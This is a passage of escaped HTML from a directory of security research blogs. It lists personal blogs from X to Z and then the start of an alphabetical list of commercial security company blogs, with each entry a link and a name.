  &lt;li&gt;&lt;a href=&quot;https://xbz0n.sh/blog&quot;&gt;xbz0n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xdev05.github.io&quot;&gt;XDEV05 BLOG&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xeiaso.net/blog&quot;&gt;Xe Iaso&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xen0vas.github.io&quot;&gt;xen0vas&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xenacod.hashnode.dev&quot;&gt;xenacod&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mfavata.github.io&quot;&gt;xfavatax&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.xfelix.com&quot;&gt;xFelix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xhzeem.me/posts/&quot;&gt;xhzeem&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xia0.sh/blog&quot;&gt;xia0o0o0o&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x-junior.github.io&quot;&gt;XJunior&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xkln.net/blog&quot;&gt;xkln.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xlogicx.net/index.html&quot;&gt;XlogicX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.xmsec.cc&quot;&gt;xmsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.thijsalkema.de&quot;&gt;xnyhps’ blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://xohan30.codes&quot;&gt;xohan30&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xor.co.za&quot;&gt;XOR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.xorhex.com/blog/&quot;&gt;XORHEX&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xorl.wordpress.com&quot;&gt;xorl %eax, %eax&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nikpx.github.io&quot;&gt;xors&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xorvoid.com&quot;&gt;xorvoid&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.xpnsec.com&quot;&gt;XPN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xre0us.io/posts/&quot;&gt;Xre0uS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.innerht.ml&quot;&gt;XSS Jigsaw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xthaz.fr&quot;&gt;xThaz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xvnpw.github.io/posts/&quot;&gt;xvnpw&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.codsec.com/posts/&quot;&gt;y0ug’s Internet Misadventure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://y4er.com&quot;&gt;Y4er&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://big5-sec.github.io&quot;&gt;yar-eb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yaseng.org&quot;&gt;Yaseng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.yassineaboukir.com/blog/&quot;&gt;Yassine Aboukir&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yassirlaaouissi.github.io/blog&quot;&gt;Yassir&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yawataa.github.io&quot;&gt;yawataa&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yawnbox.eu/blog&quot;&gt;yawnbox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://xacone.github.io/index.html&quot;&gt;Yazid’s notes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://yepoleb.github.io/blog/&quot;&gt;Yepoleb’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://rafiem.github.io&quot;&gt;Yeraisci&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yeuchimse.com&quot;&gt;yeuchimse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://bl0g.yehg.net&quot;&gt;YGN Ethical Hacker Group Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://yl-labs.github.io&quot;&gt;YL-Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ynwarcs.github.io&quot;&gt;ynwarcs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.firstsight.me&quot;&gt;YoKo Kho&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://your.program.sucks/blog.html&quot;&gt;your program sucks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sibouzitoun.tech&quot;&gt;Youssef Charfeddine&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ysamm.com&quot;&gt;Youssef Sammouda&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://youst.in&quot;&gt;Youstin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.z-labs.eu&quot;&gt;Z-Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://z-r0crypt.github.io&quot;&gt;Z-r0crypt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://z2-2z.github.io&quot;&gt;z2’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zafran.io/blog&quot;&gt;Zafran&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://z4ksec.github.io/archives/&quot;&gt;Zak’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://notes.zanidd.xyz/cybersecurity-and-hacking&quot;&gt;zanidd.xyz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.zapb.de&quot;&gt;zapb.de&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gatari.dev&quot;&gt;Zavier Lee&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zawadidone.nl&quot;&gt;Zawadi Done&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x00-0x00.github.io&quot;&gt;zc00l blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zecsec.com/posts/&quot;&gt;ZecSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zellic.io/blog/&quot;&gt;Zellic Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.digital-forensics.it&quot;&gt;Zena Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zetter-zeroday.com&quot;&gt;Zero Day - by Kim Zetter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zerodayhacker.com&quot;&gt;Zero Day Hacker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zerosalarium.com&quot;&gt;Zero Salarium&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zero-s4n.hashnode.dev&quot;&gt;zero_s4n&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zeroed.tech/blog/&quot;&gt;Zeroed.tech&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.zsec.uk&quot;&gt;ZeroSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zerosum0x0.blogspot.com&quot;&gt;zerosum0x0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zer0tru5t.com/blog/&quot;&gt;Zer0tru5t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zeta-two.com&quot;&gt;Zeta Two&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zetc0de.github.io/post/&quot;&gt;zetc0de&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zhchbin.github.io&quot;&gt;zhchbin&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zhero-web-sec.github.io/research-and-things/&quot;&gt;zhero_web_security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sites.google.com/site/zhiniangpeng/home&quot;&gt;Zhiniang Peng&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com&quot;&gt;zhuanlan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zi0black.github.io/blog/&quot;&gt;zi0Black’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://z4ziggy.wordpress.com&quot;&gt;Ziggy’s of the World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://zitstif.no-ip.org&quot;&gt;#!/zitstif.no-ip.org/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zon8.re/posts/&quot;&gt;Zon8 Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://zone-h.org&quot;&gt;zone-h&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zonky.org&quot;&gt;zonky&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zoph.me&quot;&gt;zoph.me&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zoquelabs.xyz&quot;&gt;ZoqueLabs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zwclose.github.io&quot;&gt;ZwClose&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zznop.com/blog/&quot;&gt;zznop labs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;commercial-blogs&quot;&gt;Commercial Blogs&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.0ffset.net/blog/&quot;&gt;0ffset&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://oxide.computer/blog&quot;&gt;0xide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.360totalsecurity.com/en/&quot;&gt;360 Total Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.3nailsinfosec.com/knowledge&quot;&gt;3NAILS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.404media.co&quot;&gt;404 Media&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.7elements.co.uk/resources/blog/&quot;&gt;7Elements&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://a-lign.com/blog/&quot;&gt;A-LIGN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abnormalsecurity.com/blog/&quot;&gt;Abnormal Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aboutdfir.com/reading/blogs/&quot;&gt;AboutDFIR&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.abstract.security/abstract-canvas&quot;&gt;Abstract Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abuse.ch/blog/&quot;&gt;Abuse|ch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abusix.com/resources/&quot;&gt;Abusix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ac3.com.au/resources/blogs&quot;&gt;AC3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.acceis.fr/category/blog/&quot;&gt;acceis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.accenture.com/us-en/blogs/cyber-defense/attack-and-vulnerability-research-index&quot;&gt;Accenture Cyber defense blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.acronis.com/en-us/blog/&quot;&gt;Acronis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.acrossecurity.com&quot;&gt;Acros&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.activecountermeasures.com/blog/&quot;&gt;Active Countermeasures&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.activecyber.us/activelabs&quot;&gt;ActiveCyber&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.acunetix.com/blog/&quot;&gt;Acunetix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://adalogics.com/blog&quot;&gt;Ada Logics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://adguard.com/en/blog/index.html&quot;&gt;AdGuard&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.adolus.com&quot;&gt;adolus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.advintel.io/blog&quot;&gt;ADV Intel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.adversis.io/resources&quot;&gt;Adversis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.agilehunt.com&quot;&gt;AgileHunt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aikido.dev/blog&quot;&gt;Aikido&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aim.security/aim-blog&quot;&gt;Aim Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cyber.airbus.com/information-centre/blog-news/&quot;&gt;Airbus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://airbus-seclab.github.io&quot;&gt;Airbus Security Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ainfosec.com/blog/&quot;&gt;AIS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.akamai.com/blog&quot;&gt;Akamai&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.akeyless.io/blog/&quot;&gt;Akeyless&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alephsecurity.com&quot;&gt;Aleph Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alesandroortiz.com/articles/&quot;&gt;Alesandro Ortiz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cyberroute.github.io&quot;&gt;Alessandro Bresciani&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://elmanto.github.io/posts&quot;&gt;Alessandro Mantovani&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://alperovitch.sais.jhu.edu&quot;&gt;alperovitch institute&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.alter-solutions.fr/blog&quot;&gt;Alter Solutions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.alteredsecurity.com/blog&quot;&gt;Altered Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ambionics.io/blog/&quot;&gt;Ambionics Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://securitylab.amnesty.org&quot;&gt;Amnesty International Security Lab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.amperesec.com/blog&quot;&gt;Ampere&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://analyst1.com/resources&quot;&gt;Analyst1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.anquanke.com&quot;&gt;Anquanke&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://red.anthropic.com&quot;&gt;Anthropic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://theantisocialengineer.com/blog/&quot;&gt;The Antisocial Engineer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.anvilsecure.com/blog&quot;&gt;Anvil Secure&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://any.run/cybersecurity-blog/&quot;&gt;Any.Run&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aon.com/cyber-solutions/aon_cyber_labs/&quot;&gt;Aon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://apiiro.com/blog/&quot;&gt;apiiro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aplens.co/blog&quot;&gt;APLens&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.apnic.net&quot;&gt;APNIC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://appcheck-ng.com/security-blog&quot;&gt;AppCheck&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.appgate.com/blog&quot;&gt;appgate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.appknox.com/blog&quot;&gt;Appknox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://security.apple.com&quot;&gt;Apple Security Research&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://appomni.com/blog/&quot;&gt;AppOmni&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.appsecengineer.com/main-menu-pages/blogs&quot;&gt;AppSec Engineer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.appsecco.com&quot;&gt;Appsecco&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.aquasec.com&quot;&gt;Aqua&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.aquia.us/blog/&quot;&gt;Aquia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.arachni-scanner.com/blog/&quot;&gt;arachni&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arcticwolf.com/resources/blog&quot;&gt;Arctic Wolf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://argos-security.io/blog/&quot;&gt;ARGOS Cloud Security Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.arkoselabs.com/blog/&quot;&gt;Arkose Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://armadillophone.com/blog&quot;&gt;amradillo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.armis.com/blog&quot;&gt;Armis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.armosec.io/blog/&quot;&gt;Armo&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.arnica.io/blog&quot;&gt;arnica&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arsenalrecon.com/insights/&quot;&gt;Arsenal Recon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.artresilia.com/blog/&quot;&gt;ArtResilia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://asec.ahnlab.com/en/&quot;&gt;ASEC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.assetnote.io&quot;&gt;AssetNote&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://assurancemaladiesec.github.io&quot;&gt;Assurance Maladie Security Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.assured.se/blog&quot;&gt;Assured Blogs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.getastra.com/blog/&quot;&gt;astra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://astrix.security/blog/&quot;&gt;Astrix&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cybersecurity.att.com/blogs&quot;&gt;AT&amp;amp;T Cybersecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.athene-center.de/en/news/news&quot;&gt;Athene&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://atos.net/en/lp/securitydive&quot;&gt;Atos&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://atredispartners.blogspot.com&quot;&gt;Atredis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.atredis.com/blog&quot;&gt;Atredis Partners&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.authentic8.com/blog&quot;&gt;Authentic8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.authomize.com/blog/&quot;&gt;Authomize&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.automox.com/blog&quot;&gt;Automox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.autopsy.com/blog/&quot;&gt;Autopsy Digital Forensics&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.avanan.com/blog&quot;&gt;Avanan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://engineering.avast.io&quot;&gt;Avast Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://avatao.com/blog/&quot;&gt;avatao&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://averlon.ai/blogs/&quot;&gt;Averlon&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.avertium.com/resources&quot;&gt;Avertium&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.avira.com/en/blog/security&quot;&gt;Avira&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://awakesecurity.com/blog/&quot;&gt;Awake Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://awesec.com/#&quot;&gt;AweSec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://members.backbox.org/sharing-board/&quot;&gt;BackBox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.badsectorlabs.com&quot;&gt;Bad Sector Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.balasys.hu/en/blogs/&quot;&gt;Balasys&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://baldur.dk/research.html&quot;&gt;Baldur&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://balwurk.com/blog/&quot;&gt;Balwurk&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://barghest.asia/en/categories/research/&quot;&gt;Barghest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.barracuda.com&quot;&gt;Barracuda&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bastionzero.com/blog&quot;&gt;Bastion Zero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bc-security.org/blog/&quot;&gt;BCSecurity&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bearer.com/blog&quot;&gt;bearer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://belkasoft.com/articles#blog&quot;&gt;Belkasoft&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.berylliumsec.com/blog/&quot;&gt;Beryllium&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://betrusted.it/blog/&quot;&gt;Betrusted&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bevigil.com/blog/&quot;&gt;BeVigil&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://labs.bluefrostsecurity.de/blog/&quot;&gt;BFSLABS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bhconsulting.ie/securitywatchblog/&quot;&gt;BHConsulting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.binarly.io/posts&quot;&gt;Binarly&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.binarydefense.com/resources/blog/&quot;&gt;Binary Defense&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://binarygecko.com/blog/&quot;&gt;Binary Gecko&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://binsec.no/posts/&quot;&gt;Binary Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://binary.ninja/blog/&quot;&gt;BinaryNinja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.bitcrack.net&quot;&gt;BitCrack&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bitegarden.com/blog/&quot;&gt;BiteGarden&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bit-sentinel.com/resources/&quot;&gt;BitSentinel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bitsight.com/blog&quot;&gt;Bitsight&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/html/blog/&quot;&gt;Black Hat&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.blackhillsinfosec.com/blog/&quot;&gt;Black Hills Information Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.blacklanternsecurity.com&quot;&gt;Black Lantern Security (BLSOPS)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.blackarrow.net/blackarrow-blog/&quot;&gt;BlackArrow&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.blackberry.com/en#nav&quot;&gt;BlackBerry ThreatVector Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.blackchili.co.uk/blog/&quot;&gt;blackchili&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blackheathpoint.com/resources.html&quot;&gt;BlackheathPoint&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.blackstormsecurity.com/bs/en/en_articles.html&quot;&gt;BlackStorm Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blackwinghq.com/blog/&quot;&gt;Blackwing Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.blindspotsecurity.com&quot;&gt;Blindspot&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blockmagnates.com/category/security-lab/&quot;&gt;BlockMagnates&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bloodhoundenterprise.io/blog/&quot;&gt;Bloodhound Enterprise&lt;/a&gt;&lt;/li&gt;
